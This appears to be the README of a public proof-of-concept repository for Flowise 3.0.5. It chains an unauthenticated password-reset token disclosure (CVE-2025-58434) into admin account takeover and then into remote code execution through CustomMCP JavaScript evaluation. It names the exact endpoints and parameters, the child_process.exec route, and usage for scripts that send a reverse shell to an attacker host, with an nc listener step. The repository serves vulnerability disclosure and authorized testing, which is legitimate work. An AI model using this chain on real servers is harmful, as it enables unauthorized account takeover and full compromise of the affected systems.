
Exploit chain for Flowise 3.0.5: unauthenticated account takeover via password-reset token disclosure (CVE-2025-58434) chained to CustomMCP JavaScript evaluation for remote code execution.
Proof-of-concept for CVE-2025-58434, an unauthenticated account takeover in
Flowise 3.0.5. POST /api/v1/account/forgot-password returns the target user's
tempToken directly in the JSON response; feeding it to
POST /api/v1/account/reset-password sets a known password for any account,
including the first admin. This repository chains that takeover into code
execution through a second, separate Flowise issue (CustomMCP server-side
JavaScript evaluation).
Flowise <= 3.0.5 (account takeover, CVE-2025-58434); fixed in 3.0.6. See the GitHub advisory GHSA-wgpv-6j63-x5ph.
tempToken in its response body instead of
only emailing it, so an unauthenticated attacker can complete the reset flow
for any known account and take it over.mcpServerConfig server-side JavaScript evaluation (used here to
turn the takeover into RCE). With a session and workspace API key obtained in
step 1, POST /api/v1/node-load-method/customMCP with
loadMethod=listActions evaluates the mcpServerConfig string as JavaScript
in the Flowise process, reaching require('child_process').exec(). This is a
separate Flowise issue with no CVE assigned at the time of writing.python3 -m pip install requests
flowise_ato_foothold.py - full chain (ATO to API key to CustomMCP reverse shell)python3 flowise_ato_foothold.py <LHOST> <LPORT> [TARGET_IP] [FLOWISE_VHOST]
# have `nc -lvnp <LPORT>` ready
| Input | Description |
|---|---|
argv[1] | LHOST - attacker IP for the reverse shell |
argv[2] | LPORT - attacker listener port |
argv[3] | Target IP (default placeholder TARGET_IP) |
argv[4] | Flowise vhost / Host header (default flowise.target.tld) |
The target email reset in the chain is set near the top of the script
(EMAIL); edit it to the account you are authorized to take over.
flowise_customMCP_rce.py - CustomMCP RCE only (needs an API key)python3 flowise_customMCP_rce.py '<command>' '<FLOWISE_API_KEY>'
| Input | Description |
|---|---|
argv[1] | Shell command to run on the target |
argv[2] | Flowise workspace API key |
The target IP and vhost are set at the top of this script (IP, VH); edit
them for your target.
Expected result: the full-chain script prints the leaked tempToken, the login
status, the recovered API key, and fires the reverse-shell payload; your
listener receives a shell. Note the injected JavaScript uses async
child_process.exec deliberately (execSync blocks the Node event loop and
freezes Flowise).
Unauthenticated takeover of any Flowise account, including the admin, and from there remote code execution in the Flowise server process via CustomMCP.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) for the
unauthenticated account takeover, per the GitHub advisory (GHSA-wgpv-6j63-x5ph)
and NVD for CVE-2025-58434. The CustomMCP RCE used to escalate the takeover to
code execution is a separate, post-authentication (API key) issue.
CWE-640 / CWE-200 (password-reset token disclosure) for CVE-2025-58434; CWE-94 (code injection) for the CustomMCP evaluation step.
For authorized security testing and education only. Use this only against systems you own or have explicit written permission to test. The author accepts no liability for misuse.
Dilanka Kaushal Hewage (r3vpwnx)
MIT - see LICENSE.